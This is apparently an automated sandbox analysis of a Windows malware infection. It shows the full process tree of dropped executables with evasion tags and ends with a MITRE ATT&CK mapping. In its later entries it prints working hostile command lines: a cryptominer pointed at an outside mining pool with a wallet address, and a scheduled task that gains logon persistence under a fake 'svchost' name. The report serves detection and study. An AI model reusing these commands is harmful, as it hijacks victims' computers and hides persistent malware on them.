"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
6⤵
PID:3140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
6⤵
PID:3144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
6⤵
PID:3588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
6⤵
PID:1996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
6⤵
PID:5156

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,2302900478206122642,18244926129961902515,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2280 /prefetch:2
6⤵
- Suspicious behavior: EnumeratesProcesses
PID:7108

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
5⤵
- Suspicious use of WriteProcessMemory
PID:3136

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
6⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5064

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1972 -parentBuildID 20240401114208 -prefsHandle 1900 -prefMapHandle 1892 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cc262b5e-d8fa-469d-8120-04b015cdf2f1} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" gpu
7⤵
PID:4940

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2452 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2440 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {50accd5e-44cf-4785-8112-a5dbe28bf6b0} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" socket
7⤵
PID:3368

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3032 -childID 1 -isForBrowser -prefsHandle 3296 -prefMapHandle 3328 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {94f8cef6-2f7c-4281-9f62-761d6a50fb73} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" tab
7⤵
PID:1840

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3788 -childID 2 -isForBrowser -prefsHandle 3208 -prefMapHandle 3004 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {788e0a73-7cb4-4bba-acf5-ce847c58a6ab} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" tab
7⤵
PID:5264

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2788 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4496 -prefMapHandle 4492 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f29bb8c9-085f-4c4c-9336-b973f0ce890b} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" utility
7⤵
- Checks processor information in registry
PID:6048

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5192 -childID 3 -isForBrowser -prefsHandle 5184 -prefMapHandle 5180 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {97ef6b81-28b2-4565-ad55-2c2f46a448e0} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" tab
7⤵
PID:5748

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5432 -childID 4 -isForBrowser -prefsHandle 5424 -prefMapHandle 5420 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {323e5b80-a7b3-4a95-81ba-1cb9ddb4c4f7} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" tab
7⤵
PID:5800

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5656 -childID 5 -isForBrowser -prefsHandle 5648 -prefMapHandle 5548 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0e1585f-5c7f-4cf2-825c-2992fa7afdf4} 5064 "\\.\pipe\gecko-crash-server-pipe.5064" tab
7⤵
PID:5848

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
3⤵
PID:5380

C:\Users\Admin\1000029002\84743dcfde.exe
"C:\Users\Admin\1000029002\84743dcfde.exe"
3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:6056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 1100
4⤵
- Program crash
PID:6284

C:\Users\Admin\AppData\Local\Temp\1000030001\c5d6d3a173.exe
"C:\Users\Admin\AppData\Local\Temp\1000030001\c5d6d3a173.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5680

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:6328

C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe
"C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"
5⤵
- Checks computer location settings
- Executes dropped EXE
PID:6696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
6⤵
PID:6804

C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
clamer.exe -priverdD
7⤵
- Checks computer location settings
- Executes dropped EXE
PID:6884

C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
8⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:7080

C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe
"C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:6980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
6⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:7128

C:\Users\Admin\AppData\Local\Temp\pureee.exe
"C:\Users\Admin\AppData\Local\Temp\pureee.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6712

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:2296

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7468

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:6824

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7344

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7156

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7668

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7888

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:8148

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:6832

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:2112

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:1156

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7432

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:3296

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
8⤵
PID:7072

C:\Users\Admin\AppData\Local\Temp\adada.exe
"C:\Users\Admin\AppData\Local\Temp\adada.exe"
7⤵
- Executes dropped EXE
PID:5072

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
8⤵
- Scheduled Task/Job: Scheduled Task
PID:3308

C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
"C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"
8⤵
- Executes dropped EXE
PID:7036

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
9⤵
- Scheduled Task/Job: Scheduled Task
PID:7252

C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
"C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"
7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:4048

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DirectX11\em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"
8⤵
- Blocklisted process makes network request
- Enumerates connected drives
PID:5684

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1712

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2084

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:5576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 6056 -ip 6056
1⤵
PID:6220

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6176

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:664

C:\ProgramData\xpmvhsd\agpphek.exe
C:\ProgramData\xpmvhsd\agpphek.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7024

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:7916

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:7920

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:6644

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 14DACB80DBDFC332DF65DB0A9EFEEEAC
2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6920

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding CB04F01786E3B7FD6C6ED8BD6F4FAFDD E Global\MSI0000
2⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:7824

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /C "cd "C:\Program Files (x86)\COMODO\Endpoint Manager\" && "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe" "
3⤵
- System Location Discovery: System Language Discovery
PID:7728

C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:8188

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
5⤵
- System Location Discovery: System Language Discovery
PID:6764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7576

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:6896

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:7240

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe" noui
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2380

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion